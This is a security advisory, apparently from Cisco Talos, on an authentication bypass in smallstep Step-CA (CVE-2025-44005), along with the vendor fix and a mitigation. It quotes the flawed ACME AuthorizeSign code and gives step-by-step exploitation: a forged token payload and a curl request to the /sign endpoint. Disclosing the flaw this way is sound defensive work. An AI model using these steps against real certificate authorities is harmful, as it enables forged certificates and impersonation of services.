Talos Vulnerability Report

TALOS-2025-2242

smallstep Step-CA Certificate Signing authentication bypass vulnerability

December 17, 2025
CVE Number

CVE-2025-44005

SUMMARY

An attacker can bypass authorization checks and force a Step CA ACME or SCEP provisioner to create certificates without completing certain protocol authorization checks.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

smallstep Step-CA 0.28.4
smallstep Step-CA v0.28.3

PRODUCT URLS

Step-CA - https://smallstep.com/docs/step-ca/index.html

CVSSv3 SCORE

10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

CWE

CWE-287 - Improper Authentication

DETAILS

Smallstep’s step-ca is an open-source, lightweight certificate authority (CA) designed to simplify the management of digital certificates for secure authentication and encryption. It provides tools for automating the issuance and renewal of certificates for internal services, devices, and users. With support for modern protocols like ACME, OIDC, and SSH, step-ca makes it easy to deploy and manage certificates in cloud-native and DevOps environments.

Smallstep’s step-ca platform offers users multiple choices when setting up certificate provisioners. One of these choices is to set up a provisioner that uses the ACME protocol. This provisioner is intended to be used with a separate set of ACME API endpoints that facilitate the ACME protocol flow.
Other endpoints exist in the service for other provisioners. These endpoints perform token authorization depending on the provisioner being used. It does not seem that these endpoints were intended to work with ACME. When requesting a new token from an ACME provisioner, an error is thrown indicating that token auth is not supported.

However, a vulnerability exists due to the fact that tokens that specify an ACME provisioner are accepted by non-ACME endpoints. For example, the /sign endpoint uses the provisioners AuthorizeSign method to validate the provided token. The following is the AuthorizeSign method for ACME:

https://github.com/smallstep/certificates/blob/master/authority/provisioner/acme.go#L315

315 // AuthorizeSign does not do any validation, because all validation is handled
316 // in the ACME protocol. This method returns a list of modifiers / constraints
317 // on the resulting certificate.
318 func (p *ACME) AuthorizeSign(context.Context, string) ([]SignOption, error) {
319     opts := []SignOption{
320         p,
321         // modifiers / withOptions
322         newProvisionerExtensionOption(TypeACME, p.Name, "").WithControllerOptions(p.ctl),
323         newForceCNOption(p.ForceCN),
324         profileDefaultDuration(p.ctl.Claimer.DefaultTLSCertDuration()),
325         // validators
326         defaultPublicKeyValidator{},
327         newValidityValidator(p.ctl.Claimer.MinTLSCertDuration(), p.ctl.Claimer.MaxTLSCertDuration()),
328         newX509NamePolicyValidator(p.ctl.getPolicy().getX509()),
329         p.ctl.newWebhookController(nil, linkedca.Webhook_X509),
330     }
331 
332     return opts, nil
333 }

The above method does not perform any validation on the provided token. This means that any token that identifies the provisioner as an ACME provisioner will be treated as valid.
An attacker can easily create a token that meets these requirements and is able to sign any CSR with the CA setup in a user’s step-ca service.

To exploit this vulnerability an attacker needs to:

  1. Create a new CSR

  2. Create a Token by signing the following payload with any secret:

    { “aud”: “acme/{ACME provisioner name}”, “exp”: {timestamp}, “iat”: {timestamp}, “iss”: “{arbitrary value}”, “jti”: “{arbitrary value}”, “nbf”: {timestamp}, “sans”: [ “{arbitrary value}” ], “sha”: “{arbitrary value}”, “sub”: “{arbitrary value}”, “user”: {} }

  3. $ curl -k https://{step-ca-url}/sign -d "{\"csr\":\"$CSR\",\"ott\":\"$TOKEN\"}"

    { “crt”: “—–BEGIN CERTIFICATE—–\n…” … }

VENDOR RESPONSE

In v0.29.0, ACME and SCEP provisioners were updated to block requests providing a token.

If you are unable to upgrade to v0.29.0 or newer, the attack can be mitigated by blocking access to the /sign endpoint.

TIMELINE

2025-09-29 - Initial Vendor Contact
2025-09-30 - Vendor Disclosure
2025-12-02 - Vendor Patch Release
2025-12-17 - Public Release

Credit

Stephen Kubik of the Cisco Advanced Security Initiatives Group (ASIG)